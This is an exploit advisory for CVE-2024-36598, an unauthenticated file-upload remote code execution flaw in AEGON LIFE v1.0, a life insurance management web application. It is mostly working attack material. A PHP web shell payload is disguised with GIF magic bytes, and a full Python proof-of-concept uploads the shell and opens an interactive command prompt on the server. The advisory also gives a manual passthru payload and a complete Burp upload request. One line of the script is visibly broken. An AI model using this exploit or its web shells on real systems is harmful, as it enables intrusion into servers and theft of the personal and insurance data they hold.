AEGON LIFE 1.0 Remote Code Execution

Risk: High
Local: No
Remote: Yes

# Exploit Title: Life Insurance Management System- Unauthenticated Remote Code Execution (RCE) # Exploit Author: Aslam Anwar Mahimkar # Date: 18-05-2024 # Category: Web application # Vendor Homepage: # Software Link: # Version: AEGON LIFE v1.0 # Tested on: Linux # CVE: CVE-2024-36598 # Description: ---------------- -An arbitrary file upload vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary code via uploading a crafted PHP file by adding image/gif magic bytes in payload. -In insertClient.php fileToUpload is only checking for image file but not checking for extensions, also header.php is not properly handling the redirection hence allowing Unauthenticated redirect. # Payload: ------------------ payload = "GIF89a;'<?php echo shell_exec($_GET[\'cmd\']); ?>'" # RCE via executing exploit: --------------------------------------- # Step : run the exploit in python with this command: python3 http://localhost/lims/ # will lead to RCE shell. POC ------------------- import argparse import random import requests import string import sys parser = argparse.ArgumentParser() parser.add_argument('url', action='store', help='The URL of the target.') args = parser.parse_args() url = args.url.rstrip('/') random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10)) payload = "GIF89a;'<?php echo shell_exec($_GET[\'cmd\']); ?>'" file = {'fileToUpload': (random_file + '.php', payload, 'text/php')} print('> Attempting to upload PHP web shell...') r = + '/insertClient.php', files=file, data={'agent_id':''}, verify=False) print('> Verifying shell upload...') r = requests.get(url + '/uploads/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False) if random_file in r.text: print('> Web shell uploaded to ' + url + '/uploads/' + random_file + '.php') print('> Example command usage: ' + url + '/uploads/' + random_file + '.php?cmd=whoami') launch_shell = str(input('> Do you wish to launch a shell here? (y/n): ')) if launch_shell.lower() == 'y': while True: cmd = str(input('RCE $ ')) if cmd == 'exit': sys.exit(0) r = requests.get(url + '/uploads/' + random_file + '.php', params={'cmd':cmd}, verify=False) print(r.text) else: if r.status_code == 200: print('> Web shell uploaded to ' + url + '/uploads/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.') else: print('> Web shell failed to upload! The web server may not have write permissions.') --------------------------------------------------------------------------------------------------------------------------- ### Can also performed manually. Payload: -------------- GIF89a; <?php echo"<pre>"; passthru($_GET['cmd']); echo"<pre>"; ?> # Attack Vectors: ------------------------- After uploading malicious image can access it to get the shell http://localhost/lims/uploads/shell2.gif.php?cmd=id Burp Suit Request ----------------------------- POST /lims/insertClient.php HTTP/1.1 Host: localhost Content-Length: 2197 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5plGALZGPOOdBlF0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/lims/addClient.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="client_id" 1716015032 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="client_password" Password ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="name" Test ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="fileToUpload"; filename="shell2.gif.php" Content-Type: application/x-php GIF89a; <?php echo"<pre>"; passthru($_GET['cmd']); echo"<pre>"; ?> ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="sex" Male ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="birth_date" 1/1/1988 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="maritial_status" M ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nid" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="phone" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="address" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="policy_id" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="agent_id" Agent007 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_id" 1716015032-275794639 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_name" Test1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_sex" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_birth_date" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_nid" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_relationship" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="priority" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0 Content-Disposition: form-data; name="nominee_phone" 1 ------WebKitFormBoundary5plGALZGPOOdBlF0

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